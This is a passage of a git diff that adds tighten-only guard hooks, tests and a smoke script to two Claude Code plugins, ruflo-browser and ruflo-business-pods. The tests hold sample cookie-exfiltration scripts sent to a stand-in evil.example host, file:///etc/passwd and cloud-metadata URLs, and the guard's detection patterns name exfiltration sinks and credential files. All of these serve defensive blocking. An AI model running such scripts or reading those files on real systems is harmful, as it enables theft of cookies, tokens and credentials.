AIDefence PII/injection gates", - "version": "0.2.1", + "description": "Session-as-skill browser automation: Playwright + RVF cognitive containers + ruvector trajectories + AgentDB selector memory + AIDefence PII/injection gates As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", + "version": "0.3.0", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" @@ -19,6 +19,33 @@ "replay", "trajectory", "agentdb", - "aidefence" - ] + "aidefence", + "mod", + "function-hooks", + "guard" + ], + "userConfig": { + "guard": { + "type": "string", + "title": "Tool guard", + "description": "Refuse clearly harmful calls to this plugin's tools (tighten-only: it can only deny, never allow).", + "required": false, + "default": "on", + "options": [ + "on", + "off" + ] + }, + "strictUrls": { + "type": "string", + "title": "Strict URLs", + "description": "Also refuse plain http URLs outside localhost.", + "required": false, + "default": "off", + "options": [ + "off", + "on" + ] + } + } } diff --git a/plugins/ruflo-browser/README.md b/plugins/ruflo-browser/README.md index 203b1fa70c..f6dbf5b4f3 100644 --- a/plugins/ruflo-browser/README.md +++ b/plugins/ruflo-browser/README.md @@ -129,3 +129,15 @@ The spike requires `agent-browser` (or `npx --yes agent-browser`), `ruvector@0.2 ## License MIT + +## As a mod + +Function hooks (ADR-445 pattern, `hooks/register.ts`) that need no model call, no network and no process: + +- **Tool guard** (default on, tighten-only: it can only deny). Refuses browser_open to file/javascript/data/chrome URLs, URLs with embedded credentials or cloud-metadata hosts, and Chrome launch flags that drop page isolation or open a debug port; refuses browser_eval scripts that read cookies/storage and can also send them off the page. A refusal never echoes the offending value. +- **`/browser-mod`** answers locally: `status`, `scan ` and `url ` (would the guard refuse this?). (A distinct name from the plugin's own commands/skills, which no hook can answer.) +- **Status file** `.claude-flow/browser-mod/status.json` (`version`, `updatedMs`, `checked`, `blocked`, `byRule`) is written at session start and after each refusal; the console reads it. + +Options (`userConfig`): `guard` (on/off, default on), `strictUrls` (default off: also refuse plain http outside localhost). + +Test: `claude plugin validate plugins/ruflo-browser && claude plugin test plugins/ruflo-browser && bash plugins/ruflo-browser/scripts/smoke.sh`. diff --git a/plugins/ruflo-browser/hooks/command.ts b/plugins/ruflo-browser/hooks/command.ts new file mode 100644 index 0000000000..93736b3064 --- /dev/null +++ b/plugins/ruflo-browser/hooks/command.ts @@ -0,0 +1,28 @@ +import { badUrl, exfiltrates } from './guard' +import type { ModOptions } from './options' +import type { Stats } from './status' + +export type CommandDeps = { readonly opts: ModOptions; readonly stats: Stats } + +const HELP = ['/browser-mod status', '/browser-mod scan ', '/browser-mod url '].join('\n') + +/** `/browser-mod` is answered locally and takes no model turn (the plugin's `/ruflo-browser` is a prompt command). Read-only. */ +export function answer(args: string, { opts, stats }: CommandDeps): string { + const [verb = '', ...rest] = args.trim().split(/\s+/) + const arg = rest.join(' ') + if (verb === '' || verb === 'help') return HELP + if (verb === 'status') { + const rules = Object.entries(stats.byRule).map(([k, n]) => `${k} ${n}`).join(', ') + return [`guard ${opts.guard ? 'on' : 'off'} · strict urls ${opts.strictUrls ? 'on' : 'off'}`, `checked ${stats.checked} · blocked ${stats.blocked}${rules ? ` (${rules})` : ''}`].join('\n') + } + if (verb === 'scan') { + if (arg === '') return 'usage: /browser-mod scan ' + return exfiltrates(arg) ? 'The guard would refuse that script: it reads cookies or storage and can send them off the page.' : 'Nothing found: the guard would let that script run.' + } + if (verb === 'url') { + if (arg === '') return 'usage: /browser-mod url ' + const why = badUrl(arg, opts.strictUrls) + return why === undefined ? 'The guard would let that URL open.' : `The guard would refuse that URL: it ${why}.` + } + return `Unknown: ${verb}\n${HELP}` +} diff --git a/plugins/ruflo-browser/hooks/guard.ts b/plugins/ruflo-browser/hooks/guard.ts new file mode 100644 index 0000000000..81f7cd5bc9 --- /dev/null +++ b/plugins/ruflo-browser/hooks/guard.ts @@ -0,0 +1,51 @@ +import type { ModOptions } from './options' +import { splitName } from './screen' + +export type Verdict = { readonly rule: string; readonly reason: string } + +// What reads a page's cookies or storage, and what can carry them off the page. Both in one script is exfiltration. +const READS = /document\s*\.\s*cookie|\b(?:local|session)Storage\b|\bindexedDB\b|cookieStore/ +const SINKS = /\b(?:fetch|XMLHttpRequest|sendBeacon|WebSocket|EventSource|importScripts)\b|new\s+Image\b|\.src\s*=|\blocation(?:\s*\.\s*(?:href|assign|replace))?\s*[=(]|window\s*\.\s*open\b/ +const METADATA = new Set(['169.254.169.254', 'metadata.google.internal', '[fd00:ec2::254]', 'metadata.azure.com']) +const LOCAL = new Set(['localhost', '127.0.0.1', '[::1]']) +const BAD_FLAGS = /^--(?:disable-web-security|remote-debugging-(?:port|address|pipe)|load-extension|disable-site-isolation-trials)\b/ + +/** Why a script is refused: it reads cookies or storage and also has a way to send them out. */ +export const exfiltrates = (script: string): boolean => READS.test(script) && SINKS.test(script) + +/** Why a URL is refused, or undefined. `strict` also refuses plain http outside localhost. Never echoes the URL. */ +export function badUrl(url: string, strict: boolean): string | undefined { + let u: URL + try { + u = new URL(url) + } catch { + return 'is not a valid absolute URL' + } + if (u.protocol !== 'http:' && u.protocol !== 'https:') return u.href === 'about:blank' ? undefined : 'uses a scheme other than http or https (file, javascript, data and chrome pages are refused)' + if (u.username !== '' || u.password !== '') return 'carries credentials in the URL' + if (METADATA.has(u.hostname.toLowerCase())) return 'points at a cloud metadata service' + if (strict && u.protocol === 'http:' && !LOCAL.has(u.hostname.toLowerCase())) return 'is plain http outside localhost' + return undefined +} + +const refuse = (rule: string, reason: string): Verdict => ({ rule, reason: `ruflo-browser: ${reason}` }) + +/** Tighten-only verdict for a browser_* call: undefined for other tools, 'pass' when allowed, else the refusal. Reasons never echo input. */ +export function verdict(tool: string, input: unknown, opts: ModOptions): Verdict | 'pass' | undefined { + const parts = splitName(tool) + if (!parts || !parts.tool.startsWith('browser_')) return undefined + const args = (typeof input === 'object' && input !== null ? input : {}) as Record + if (parts.tool === 'browser_open') { + if (typeof args.url === 'string') { + const why = badUrl(args.url, opts.strictUrls) + if (why !== undefined) return refuse('url', `the URL ${why}.`) + } + if (Array.isArray(args.args) && args.args.some(a => typeof a === 'string' && BAD_FLAGS.test(a.trim()))) { + return refuse('launch flag', 'a Chrome launch flag would switch off page isolation or open a debugging port.') + } + } + if (parts.tool === 'browser_eval' && typeof args.script === 'string' && exfiltrates(args.script)) { + return refuse('exfiltration', 'this script reads cookies or storage and can send them off the page. Read them in one call, check them here, and never post them out.') + } + return 'pass' +} diff --git a/plugins/ruflo-browser/hooks/hooks.json b/plugins/ruflo-browser/hooks/hooks.json new file mode 100644 index 0000000000..4560b20acf --- /dev/null +++ b/plugins/ruflo-browser/hooks/hooks.json @@ -0,0 +1,4 @@ +{ + "description": "Browser automation as a mod (ADR-445 pattern): a tighten-only guard on browser_* (no cookie/storage exfiltration, no file/javascript/metadata URLs, no unsafe Chrome flags), /browser-mod, and a status file the console reads.", + "modules": ["./register.ts"] +} diff --git a/plugins/ruflo-browser/hooks/options.ts b/plugins/ruflo-browser/hooks/options.ts new file mode 100644 index 0000000000..a0540bdaf9 --- /dev/null +++ b/plugins/ruflo-browser/hooks/options.ts @@ -0,0 +1,14 @@ +import type { PluginOptions } from 'claude-code' + +/** The plugin's `userConfig`, validated: a bad value is the safe default (guard on, plain http allowed). */ +export type ModOptions = { readonly guard: boolean; readonly strictUrls: boolean } + +const flag = (value: unknown, fallback: boolean) => + value === true || value === 'true' || value === 'on' ? true : value === false || value === 'false' || value === 'off' ? false : fallback + +export const readOptions = (options: PluginOptions | undefined): ModOptions => ({ + guard: flag(options?.guard, true), + strictUrls: flag(options?.strictUrls, false), +}) + +export const modeOf = (o: ModOptions) => ({ guard: o.guard, strictUrls: o.strictUrls }) diff --git a/plugins/ruflo-browser/hooks/register.ts b/plugins/ruflo-browser/hooks/register.ts new file mode 100644 index 0000000000..5642bdaf57 --- /dev/null +++ b/plugins/ruflo-browser/hooks/register.ts @@ -0,0 +1,58 @@ +import type { Hook, Register } from 'claude-code' + +import { answer } from './command' +import { verdict } from './guard' +import { modeOf, readOptions, type ModOptions } from './options' +import { newStats, noteBlocked, STATUS_PATH, statusText, type Stats } from './status' + +type Dollar = Parameters>[0] + +/** Everything one session of the mod keeps: its settings, counters and the project root. */ +type Session = { readonly opts: ModOptions; readonly stats: Stats; root?: string } + +async function flush($: Dollar, s: Session): Promise { + if (s.root === undefined) return + try { + await $.fs.write(`${s.root}/${STATUS_PATH}`, statusText(s.stats, modeOf(s.opts), await $.clock.now())) + } catch { + /* the status file is a courtesy */ + } +} + +/** + * ruflo-browser as a mod (ADR-445 pattern): a guard that keeps cookie/credential exfiltration, hostile URL schemes and unsafe launch flags out of browser_* calls, `/browser-mod`, and a status file the console reads. No network, no process: only tools already connected. + */ +export const register: Register = (on, options) => { + const s: Session = { opts: readOptions(options), stats: newStats() } + + on('session.start', async ($, e, next) => { + const result = await next(e) + s.root = (await $.session.root()) as string | undefined + try { + await $.command.register({ name: 'browser-mod', description: 'browser mod: status, scan , url ' }) + } catch { + /* a name taken by another plugin must not stop the mod */ + } + await flush($, s) + return result + }) + + if (s.opts.guard) { + on('tool.call', async ($, e, next) => { + const v = verdict(e.tool, e, s.opts) + if (v === undefined) return next(e) + if (v === 'pass') { + s.stats.checked++ + return next(e) + } + noteBlocked(s.stats, v.rule) + await flush($, s) + return { deny: v.reason } + }) + } + + /** `/browser-mod`: answered locally, no model turn. */ + on('command.run', { command: 'browser-mod' }, async (_$, e) => { + return { text: answer(typeof e.args === 'string' ? e.args : '', { opts: s.opts, stats: s.stats }) } + }) +} diff --git a/plugins/ruflo-browser/hooks/screen.ts b/plugins/ruflo-browser/hooks/screen.ts new file mode 100644 index 0000000000..ade364356c --- /dev/null +++ b/plugins/ruflo-browser/hooks/screen.ts @@ -0,0 +1,55 @@ +/** + * Pure text screening for the ruflo-browser mod (ADR-445 pattern, copied from ruflo-agentdb). Finds secret shapes so none is sent out. + * Findings are NAMES only: the matched text is never returned, logged or counted by value. + */ + +const SECRETS: readonly (readonly [string, RegExp])[] = [ + ['private key', /-----BEGIN [A-Z ]*PRIVATE KEY-----/], + ['aws access key', /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/], + ['github token', /\b(?:gh[pousr]_[A-Za-z0-9]{30,}|github_pat_[A-Za-z0-9_]{40,})\b/], + ['slack token', /\bxox[abprs]-[A-Za-z0-9-]{10,}/], + ['google api key', /\bAIza[0-9A-Za-z_-]{35}\b/], + ['anthropic or openai key', /\bsk-(?:ant-|proj-)?[A-Za-z0-9_-]{24,}/], + ['jwt', /\beyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/], + ['bearer token', /\bBearer\s+[A-Za-z0-9._~+/=-]{24,}/], + ['nostr secret key', /\bnsec1[02-9ac-hj-np-z]{50,}/], + ['key assignment', /\b(?:api[_-]?key|secret|token|passw(?:or)?d|credential)s?["']?\s*[:=]\s*["']?[A-Za-z0-9/+=_.-]{16,}/i], +] + +// C0/C1 controls (keeping tab and newline), DEL, zero-width and bidi override characters. +const INVISIBLE = new RegExp('[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u200b-\\u200f\\u2028-\\u202e\\u2060-\\u2064\\ufeff]', 'g') + +const bare = (text: string) => (text.length > 20_000 ? text.slice(0, 20_000) : text).replace(INVISIBLE, '') + +/** Names of every secret shape found in `text`. Cost is linear in the capped input. */ +export const secretsIn = (text: string): string[] => SECRETS.filter(([, re]) => re.test(bare(text))).map(([name]) => name) + +export const hasSecret = (text: string) => secretsIn(text).length > 0 + +/** Every string in a tool's input, to a bounded depth and size: what the guard reads. */ +export function textsOf(input: unknown, budget = { left: 20_000 }, depth = 0): string[] { + if (budget.left <= 0 || depth > 6) return [] + if (typeof input === 'string') { + budget.left -= input.length + return [input] + } + if (Array.isArray(input)) return input.slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + if (typeof input === 'object' && input !== null) return Object.values(input).slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + return [] +} + +const CRED_KEY = /^(?:pass(?:word|wd)?|secret(?:_?key)?|api_?key|(?:access_?|auth_?|bearer_?)?token|private_?key|nsec|authorization|credentials?)$/i + +/** True when any object key (to a bounded depth) names a credential and holds a non-empty string. The value is never read out. */ +export function hasCredentialField(input: unknown, depth = 0): boolean { + if (depth > 6 || typeof input !== 'object' || input === null) return false + if (Array.isArray(input)) return input.slice(0, 200).some(v => hasCredentialField(v, depth + 1)) + return Object.entries(input).slice(0, 200).some(([k, v]) => (CRED_KEY.test(k) && typeof v === 'string' && v.trim() !== '') || hasCredentialField(v, depth + 1)) +} + +/** `mcp____` into its two halves; tool names never hold a double underscore. Undefined for a non-MCP tool. */ +export function splitName(name: string): { server: string; tool: string } | undefined { + if (!name.startsWith('mcp__')) return undefined + const at = name.lastIndexOf('__') + return at > 5 ? { server: name.slice(5, at), tool: name.slice(at + 2) } : undefined +} diff --git a/plugins/ruflo-browser/hooks/status.ts b/plugins/ruflo-browser/hooks/status.ts new file mode 100644 index 0000000000..c44a09c709 --- /dev/null +++ b/plugins/ruflo-browser/hooks/status.ts @@ -0,0 +1,25 @@ +/** Counters the mod keeps for the session and writes to `.claude-flow/browser-mod/status.json` for the console. */ +export type Stats = { + /** Calls to this plugin's tools the guard looked at. */ + checked: number + /** Calls it refused. */ + blocked: number + /** Refusals by rule name (never by value). */ + byRule: Record + lastRule?: string +} + +export const newStats = (): Stats => ({ checked: 0, blocked: 0, byRule: {} }) + +export const STATUS_PATH = '.claude-flow/browser-mod/status.json' + +export function noteBlocked(stats: Stats, rule: string): void { + stats.blocked++ + stats.byRule[rule] = (stats.byRule[rule] ?? 0) + 1 + stats.lastRule = rule +} + +/** The file's text; `version` lets the console refuse a shape it does not know. */ +export function statusText(stats: Stats, mode: Record, nowMs: number): string { + return `${JSON.stringify({ version: 1, updatedMs: nowMs, ...mode, ...stats }, null, 2)}\n` +} diff --git a/plugins/ruflo-browser/scripts/smoke.sh b/plugins/ruflo-browser/scripts/smoke.sh index f26abcf843..cd267cb431 100755 --- a/plugins/ruflo-browser/scripts/smoke.sh +++ b/plugins/ruflo-browser/scripts/smoke.sh @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Structural smoke test for ruflo-browser plugin v0.2.1. +# Structural smoke test for ruflo-browser plugin v0.3.0. # Verifies the file inventory, frontmatter, ADR cross-references, and # AgentDB-namespace coverage that ADR-0001 contracts. Does NOT exercise # the live MCP browser tools — the full Verification §1-§7 contract @@ -15,10 +15,10 @@ ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } # 1. plugin.json version + keywords -step "plugin.json declares version 0.2.1 with new keywords" +step "plugin.json declares version 0.3.0 with new keywords" v=$(grep -E '"version"[[:space:]]*:' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.2.1" ]]; then - bad "expected 0.2.1, got '$v'" +if [[ "$v" != "0.3.0" ]]; then + bad "expected 0.3.0, got '$v'" else missing="" for kw in rvf replay trajectory agentdb aidefence; do @@ -139,5 +139,25 @@ for f in "$ROOT"/skills/*/SKILL.md; do done [[ -z "$bad_skills" ]] && ok || bad "wildcard:$bad_skills" +# M1-M3. The mod (ADR-445 pattern): hooks module registered, files within the 500-line rule, no network or process access, safe defaults +step "M1. mod: hooks.json names register.ts, every hook file is present and under 500 lines" +mod_ok=1 +grep -q '"./register.ts"' "$ROOT/hooks/hooks.json" || mod_ok=0 +for f in options screen guard command status register; do + [[ -f "$ROOT/hooks/$f.ts" ]] || mod_ok=0 + [[ $(wc -l < "$ROOT/hooks/$f.ts" 2>/dev/null || echo 9999) -le 500 ]] || mod_ok=0 +done +[[ $mod_ok -eq 1 ]] && ok || bad "mod hooks incomplete or too long" + +step "M2. mod: guard defaults on and the extra options default safe (userConfig)" +node -e ' +const c = require(process.argv[1]).userConfig || {} +const safe = c.guard && c.guard.default === "on" && (c.strictUrls && c.strictUrls.default === "off") +process.exit(safe ? 0 : 1) +' "$ROOT/.claude-plugin/plugin.json" && ok || bad "userConfig defaults wrong" + +step "M3. mod: hooks never touch the network or spawn a process" +if grep -nE '\$\.(http|process)\.|child_process|fetch\(' "$ROOT"/hooks/*.ts >/dev/null; then bad "network or process call in hooks"; else ok; fi + printf "\n%s passed, %s failed\n" "$PASS" "$FAIL" [[ $FAIL -eq 0 ]] || exit 1 diff --git a/plugins/ruflo-browser/tests/register.test.ts b/plugins/ruflo-browser/tests/register.test.ts new file mode 100644 index 0000000000..aac52f03f0 --- /dev/null +++ b/plugins/ruflo-browser/tests/register.test.ts @@ -0,0 +1,107 @@ +import type { On } from 'claude-code' +import { describe, expect, test, tier } from 'claude-code/testing' + +tier('user') + +const ROOT = '/work' +const START = { surface: 'terminal', isInteractive: true, cwd: ROOT } as const +const slash = (args: string) => ({ command: 'browser-mod', args, origin: { kind: 'composer' }, presentation: { isFullscreen: false, columns: 100 } }) as const +const STATUS = `${ROOT}/.claude-flow/browser-mod/status.json` + +/** The world beneath the mod: a project root, a file map, a registered-command list, and a tool that answers `stored`. */ +function world(on: On) { + const files = new Map() + const commands: string[] = [] + on('session.start', ($, e) => ({ cwd: e.cwd })) + on('session.root', () => ({ value: ROOT })) + on('command.register', ($, e) => (commands.push(e.name), { value: { command: e.name } })) + on('fs.write', ($, e) => (files.set(e.path, e.text), { value: undefined })) + on('clock.now', () => ({ value: 1_700_000_000_000 })) + on('tool.call', () => ({ result: 'stored' })) + return { files, commands } +} + +/** A call the guard refused comes back as an error; this returns its text, or the tool result when it went through. */ +const attempt = (p: Promise) => p.then(r => JSON.stringify(r), (e: unknown) => String(e)) +const status = (files: Map) => JSON.parse(files.get(STATUS) ?? '{}') +const GH = `ghp_${'a1B2'.repeat(10)}` +const T = (name: string) => `mcp__plugin_ruflo-core_ruflo__browser_${name}` + +describe('guard', () => { + test('browser_open: file, javascript and metadata URLs and credentials in the URL are refused; https and localhost pass', async ($, on) => { + world(on) + await $.session.start(START) + const open = (url: string, extra: object = {}) => attempt($.tool.call({ tool: T('open'), url, ...extra } as never)) + expect(await open('file:///etc/passwd')).toContain('scheme') + expect(await open('javascript:alert(1)')).toContain('scheme') + expect(await open('http://169.254.169.254/latest/meta-data/')).toContain('metadata') + const creds = await open('https://admin:s3cretpass@example.com/') + expect(creds).toContain('credentials') + expect(creds).not.toContain('s3cretpass') + expect(await open('https://example.com/')).toContain('stored') + expect(await open('http://localhost:3000/')).toContain('stored') + }) + + test('browser_open: launch flags that drop page isolation or open a debug port are refused; --no-sandbox passes', async ($, on) => { + world(on) + await $.session.start(START) + const open = (args: string[]) => attempt($.tool.call({ tool: T('open'), url: 'https://example.com', args } as never)) + expect(await open(['--disable-web-security'])).toContain('launch flag') + expect(await open(['--remote-debugging-port=9222'])).toContain('launch flag') + expect(await open(['--no-sandbox', '--disable-dev-shm-usage'])).toContain('stored') + }) + + test('browser_eval: reading cookies AND sending them off is refused; reading alone and plain scripts pass', async ($, on) => { + world(on) + await $.session.start(START) + const evalJs = (script: string) => attempt($.tool.call({ tool: T('eval'), script } as never)) + const bad = await evalJs('fetch("https://evil.example/c?d=" + document.cookie)') + expect(bad).toContain('send them off') + expect(bad).not.toContain('evil.example') + expect(await evalJs('navigator.sendBeacon("//x", localStorage.getItem("token"))')).toContain('send them off') + expect(await evalJs('document.cookie.split(";").length')).toContain('stored') + expect(await evalJs('document.title')).toContain('stored') + }) + + test('strictUrls: on refuses plain http outside localhost', { options: { strictUrls: 'on' } }, async ($, on) => { + world(on) + await $.session.start(START) + const open = (url: string) => attempt($.tool.call({ tool: T('open'), url } as never)) + expect(await open('http://example.com/')).toContain('plain http') + expect(await open('http://localhost:8080/')).toContain('stored') + }) + + test('guard: off passes everything; other tools are ignored', { options: { guard: 'off' } }, async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('open'), url: 'file:///etc/passwd' } as never))).toContain('stored') + }) + + test('tools of other plugins are ignored', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: 'mcp__plugin_ruflo-core_ruflo__http_fetch', url: 'file:///etc/passwd' } as never))).toContain('stored') + }) +}) + +describe('status file and command', () => { + test('status.json is written at session start and after a block', async ($, on) => { + const w = world(on) + await $.session.start(START) + expect(status(w.files)).toMatchObject({ version: 1, guard: true, strictUrls: false, blocked: 0 }) + await attempt($.tool.call({ tool: T('open'), url: 'file:///x' } as never)) + expect(status(w.files)).toMatchObject({ blocked: 1, lastRule: 'url' }) + expect(w.commands).toEqual(['browser-mod']) + }) + + test('/browser-mod answers status, scan and url locally', async ($, on) => { + world(on) + await $.session.start(START) + expect((await $.command.run(slash('status'))).text).toContain('guard on · strict urls off') + expect((await $.command.run(slash('scan fetch(u+document.cookie)'))).text).toContain('would refuse') + expect((await $.command.run(slash('scan document.title'))).text).toContain('Nothing found') + expect((await $.command.run(slash('url file:///etc/passwd'))).text).toContain('would refuse') + expect((await $.command.run(slash('url https://example.com'))).text).toContain('would let') + expect((await $.command.run(slash(''))).text).toContain('/browser-mod status') + }) +}) diff --git a/plugins/ruflo-browser/tsconfig.json b/plugins/ruflo-browser/tsconfig.json new file mode 100644 index 0000000000..e4ba54993e --- /dev/null +++ b/plugins/ruflo-browser/tsconfig.json @@ -0,0 +1,19 @@ +{ + "//": "Self-contained on purpose: bundlers (vite/esbuild in the root CI vitest) load this file for every module they transform, so it must not extend a file that only exists after Claude Code (>= 2.1.287) has loaded the plugin. Claude Code writes its declarations to .claude-plugin/types/ (gitignored) on load or validate; tsc -p . then reads them through typeRoots.", + "compilerOptions": { + "target": "es2023", + "lib": ["es2023"], + "module": "esnext", + "moduleResolution": "bundler", + "strict": true, + "noUncheckedIndexedAccess": true, + "noEmit": true, + "skipLibCheck": true, + "jsx": "react", + "jsxFactory": "h", + "jsxFragmentFactory": "Fragment", + "typeRoots": ["./.claude-plugin/types"], + "types": ["claude-code", "claude-code-tools", "claude-code-mcp"] + }, + "include": ["hooks", "tests"] +} diff --git a/plugins/ruflo-business-pods/.claude-plugin/plugin.json b/plugins/ruflo-business-pods/.claude-plugin/plugin.json index 8ecd9a3e95..f0ce1c1d8a 100644 --- a/plugins/ruflo-business-pods/.claude-plugin/plugin.json +++ b/plugins/ruflo-business-pods/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-business-pods", - "description": "ADR-164 Phase 2 — business-domain pod templates for the federated business autopilot. Ships the sales pod template (templates/sales.json) and a single-tick runner (scripts/pod-tick.mjs) that pre-flights templates via business_pod_validate, reserves budget through a file-based stub ledger (atomic SQLite tracker is Phase 3 per ADR-164.1), resolves each agent role against ruflo's agent registry, constructs dry-run prompts, and posts an envelope summary to the room via federation_bbs_publish. Dry-run by default — --live is reserved for Phase 3 Managed-Agent + claude-p wiring.", - "version": "0.1.0", + "description": "ADR-164 Phase 2 — business-domain pod templates for the federated business autopilot. Ships the sales pod template (templates/sales.json) and a single-tick runner (scripts/pod-tick.mjs) that pre-flights templates via business_pod_validate, reserves budget through a file-based stub ledger (atomic SQLite tracker is Phase 3 per ADR-164.1), resolves each agent role against ruflo's agent registry, constructs dry-run prompts, and posts an envelope summary to the room via federation_bbs_publish. Dry-run by default — --live is reserved for Phase 3 Managed-Agent + claude-p wiring. As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", + "version": "0.2.0", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" @@ -20,6 +20,22 @@ "pod-tick", "budget-reservation", "dry-run-default", - "agent-registry-resolution" - ] + "agent-registry-resolution", + "mod", + "function-hooks", + "guard" + ], + "userConfig": { + "guard": { + "type": "string", + "title": "Tool guard", + "description": "Refuse clearly harmful calls to this plugin's tools (tighten-only: it can only deny, never allow).", + "required": false, + "default": "on", + "options": [ + "on", + "off" + ] + } + } } diff --git a/plugins/ruflo-business-pods/README.md b/plugins/ruflo-business-pods/README.md new file mode 100644 index 0000000000..f2eedbd7dc --- /dev/null +++ b/plugins/ruflo-business-pods/README.md @@ -0,0 +1,12 @@ + +## As a mod + +Function hooks (ADR-445 pattern, `hooks/register.ts`) that need no model call, no network and no process: + +- **Tool guard** (default on, tighten-only: it can only deny). Refuses business_pod_validate / business_pod_route_backend calls whose template holds a secret or a credential-named field, or whose template path climbs with `..`, points at a credentials location (`.env`, `.ssh`, `.aws`, ...) or is not a `.json` file. A refusal never echoes the offending value. +- **`/pods-mod`** answers locally: `status`, `scan ` and `path ` (would the guard let this path be read?). (A distinct name from the plugin's own commands/skills, which no hook can answer.) +- **Status file** `.claude-flow/pods-mod/status.json` (`version`, `updatedMs`, `checked`, `blocked`, `byRule`) is written at session start and after each refusal; the console reads it. + +Options (`userConfig`): `guard` (on/off, default on). + +Test: `claude plugin validate plugins/ruflo-business-pods && claude plugin test plugins/ruflo-business-pods && bash plugins/ruflo-business-pods/scripts/smoke.sh`. diff --git a/plugins/ruflo-business-pods/hooks/command.ts b/plugins/ruflo-business-pods/hooks/command.ts new file mode 100644 index 0000000000..507ff00393 --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/command.ts @@ -0,0 +1,30 @@ +import { badTemplatePath } from './guard' +import type { ModOptions } from './options' +import { secretsIn } from './screen' +import type { Stats } from './status' + +export type CommandDeps = { readonly opts: ModOptions; readonly stats: Stats } + +const HELP = ['/pods-mod status', '/pods-mod scan ', '/pods-mod path '].join('\n') + +/** `/pods-mod` is answered locally and takes no model turn (the plugin's pod skill is a prompt). Read-only: runs the guard's checks on what you give it. */ +export function answer(args: string, { opts, stats }: CommandDeps): string { + const [verb = '', ...rest] = args.trim().split(/\s+/) + const arg = rest.join(' ') + if (verb === '' || verb === 'help') return HELP + if (verb === 'status') { + const rules = Object.entries(stats.byRule).map(([k, n]) => `${k} ${n}`).join(', ') + return [`guard ${opts.guard ? 'on' : 'off'}`, `checked ${stats.checked} · blocked ${stats.blocked}${rules ? ` (${rules})` : ''}`].join('\n') + } + if (verb === 'scan') { + if (arg === '') return 'usage: /pods-mod scan ' + const found = secretsIn(arg) + return found.length ? `The guard would refuse a template holding that (${found.join(', ')}).` : 'Nothing found: the guard would let that into a template.' + } + if (verb === 'path') { + if (arg === '') return 'usage: /pods-mod path ' + const why = badTemplatePath(arg) + return why === undefined ? 'The guard would let that template path be read.' : `The guard would refuse that template path: it ${why}.` + } + return `Unknown: ${verb}\n${HELP}` +} diff --git a/plugins/ruflo-business-pods/hooks/guard.ts b/plugins/ruflo-business-pods/hooks/guard.ts new file mode 100644 index 0000000000..dcb8d8456a --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/guard.ts @@ -0,0 +1,35 @@ +import type { ModOptions } from './options' +import { hasCredentialField, hasSecret, splitName, textsOf } from './screen' + +export type Verdict = { readonly rule: string; readonly reason: string } + +const OWN = new Set(['business_pod_validate', 'business_pod_route_backend']) +// Where credentials live: a pod template path has no business pointing at any of these. +const SENSITIVE = /(?:^|[\\/])(?:\.env[^\\/]*|\.ssh|\.aws|\.gnupg|\.netrc|\.npmrc|id_(?:rsa|ed25519|ecdsa)|credentials(?:\.json)?|passwd|shadow)(?:$|[\\/])/i + +/** Why a template path is refused (traversal, not .json, a credential location), or undefined. Never echoes the path. */ +export function badTemplatePath(path: string): string | undefined { + if (path.includes('\0')) return 'holds a NUL byte' + if (path.split(/[\\/]+/).includes('..')) return 'climbs out of its directory with ..' + if (SENSITIVE.test(path)) return 'points at a credentials location' + if (!/\.json$/i.test(path)) return 'is not a .json file' + return undefined +} + +const refuse = (rule: string, reason: string): Verdict => ({ rule, reason: `ruflo-business-pods: ${reason}` }) + +/** Tighten-only verdict for a business_pod_* call: undefined for other tools, 'pass' when allowed, else the refusal. Reasons never echo input. */ +export function verdict(tool: string, input: unknown, _opts: ModOptions): Verdict | 'pass' | undefined { + const parts = splitName(tool) + if (!parts || !OWN.has(parts.tool)) return undefined + const args = (typeof input === 'object' && input !== null ? input : {}) as Record + const template = args.podTemplate + if (template !== undefined && (hasCredentialField(template) || textsOf(template).some(hasSecret))) { + return refuse('secret in template', 'this pod template holds what looks like a secret or a credential field. Templates are committed and posted to rooms; reference secrets by id.') + } + if (typeof args.podTemplatePath === 'string') { + const why = badTemplatePath(args.podTemplatePath) + if (why !== undefined) return refuse('template path', `the template path ${why}.`) + } + return 'pass' +} diff --git a/plugins/ruflo-business-pods/hooks/hooks.json b/plugins/ruflo-business-pods/hooks/hooks.json new file mode 100644 index 0000000000..5146dca7a5 --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/hooks.json @@ -0,0 +1,4 @@ +{ + "description": "Business pods as a mod (ADR-445 pattern): a tighten-only guard on business_pod_* (no secrets in templates, template paths must be traversal-free .json), /pods-mod, and a status file the console reads.", + "modules": ["./register.ts"] +} diff --git a/plugins/ruflo-business-pods/hooks/options.ts b/plugins/ruflo-business-pods/hooks/options.ts new file mode 100644 index 0000000000..364002c060 --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/options.ts @@ -0,0 +1,11 @@ +import type { PluginOptions } from 'claude-code' + +/** The plugin's `userConfig`, validated: a bad value is the safe default (guard on). */ +export type ModOptions = { readonly guard: boolean } + +const flag = (value: unknown, fallback: boolean) => + value === true || value === 'true' || value === 'on' ? true : value === false || value === 'false' || value === 'off' ? false : fallback + +export const readOptions = (options: PluginOptions | undefined): ModOptions => ({ guard: flag(options?.guard, true) }) + +export const modeOf = (o: ModOptions) => ({ guard: o.guard }) diff --git a/plugins/ruflo-business-pods/hooks/register.ts b/plugins/ruflo-business-pods/hooks/register.ts new file mode 100644 index 0000000000..0134ef3443 --- /dev/null +++ b/plugins/ruflo-business-pods/hooks/register.ts @@ 